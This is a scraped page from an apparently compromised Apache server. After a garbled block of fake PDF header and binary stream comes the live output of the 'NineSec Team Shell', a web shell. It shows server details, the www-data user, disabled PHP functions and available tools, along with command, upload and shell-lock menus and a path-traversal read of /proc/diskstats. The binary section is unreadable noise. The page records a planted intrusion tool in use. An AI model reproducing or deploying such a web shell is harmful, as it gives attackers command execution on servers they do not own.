%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /home/../etc/xdg/../python/../vim/../dbconfig-common/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //home/../etc/xdg/../python/../vim/../dbconfig-common/../../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60521259 25948 6967505908 595346144 328674937 268434983 12288231722 262897494 0 22603220 858243638 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 286 0 286 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60520598 24891 6967454456 595345943 328674651 268434983 12288231436 262897471 0 28223551 858243415 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 512605302 227335817 54858898912 352351336 4113665341 983837430 67356717616 516435959 0 469592504 1082120229 0 0 0 0 1737329816 213332934
   8      32 sdc 500983188 238064414 56711872088 373080249 4168027204 984039162 68955619504 539049499 0 512909462 1128245187 0 0 0 0 1750424278 216115438
   8      16 sdb 515106798 228456606 55323627072 360221827 4573723676 1042202234 72399979312 574400765 0 525805022 1165863321 0 0 0 0 1924600857 231240728
   8      48 sdd 308753804 143605781 33625638384 198123942 3311035465 713800123 49022414808 367268221 0 362624252 732990072 0 0 0 0 1434878820 167597909
 252       0 dm-0 739941049 0 54858886832 571438550 5097502771 0 67356717616 2183367071 0 591473320 2754805621 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 452359515 0 33625626304 339499937 4024835588 0 49022414808 1341933384 0 465633407 1681433321 0 0 0 0 0 0
 252       3 dm-3 743563334 0 55323614992 581369065 5615925910 0 72399979312 2439569618 0 705497333 3020938683 0 0 0 0 0 0
 252       4 dm-4 739047532 0 56711860008 609453418 5152066366 0 68955619504 2322441780 0 730813893 2931895198 0 0 0 0 0 0
 252       5 dm-5 63799 0 5675986 16362 507654661 0 9095797512 72958587 0 15721147 72974949 0 0 0 0 0 0
 252       6 dm-6 12510438 0 6961747856 44944009 37241080 0 3192386156 19762505 0 82007905 64706514 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251      32 rbd2 159079 5379 5612690 93084 25477645 19241944 512037056 55978528 0 50202014 56071612 0 0 0 0 0 0
 251      64 rbd4 129539 30884 3772522 47765 26849187 46445735 641067872 61765264 0 36580054 61813030 0 0 0 0 0 0
 251      80 rbd5 89352 9616 6617482 46059 61024656 30549756 1556208600 116858395 0 73091396 116904454 0 0 0 0 0 0
 251     128 rbd8 7344 1251 771482 5150 12546312 1093607 127756496 25009786 0 15106035 25035059 150158 11437 1134853032 20122 0 0
 251     144 rbd9 133933 29750 8704842 42988 2815196 552264 121458184 7544363 0 10114136 7636286 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2297439 220299 22324381 5418948 0 4392925 5438768 0 0 0 0 0 0
 251     160 rbd10 135307250 281250 4610339386 76027586 281917342 98146082 6386234669 787878484 0 122153416 864618891 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105719 10087 8920236 64092 2256539 391734 52616560 5702689 0 5779518 5882023 49792 10949 253190856 115241 0 0
 251     176 rbd11 149036 15016 118987892 222400 1962039 40586 32628896 4608373 0 3824894 4833508 14716 1500 109635296 2734 0 0
 251      96 rbd6 12195399 109805 401422530 34636936 90241983 17405395 2625548264 236892326 0 280418099 271529263 0 0 0 0 0 0
 251       0 rbd0 100429 19111 15665210 51590 5527 11385 797792 18395 0 52900 69985 0 0 0 0 0 0

NineSec Team - 2022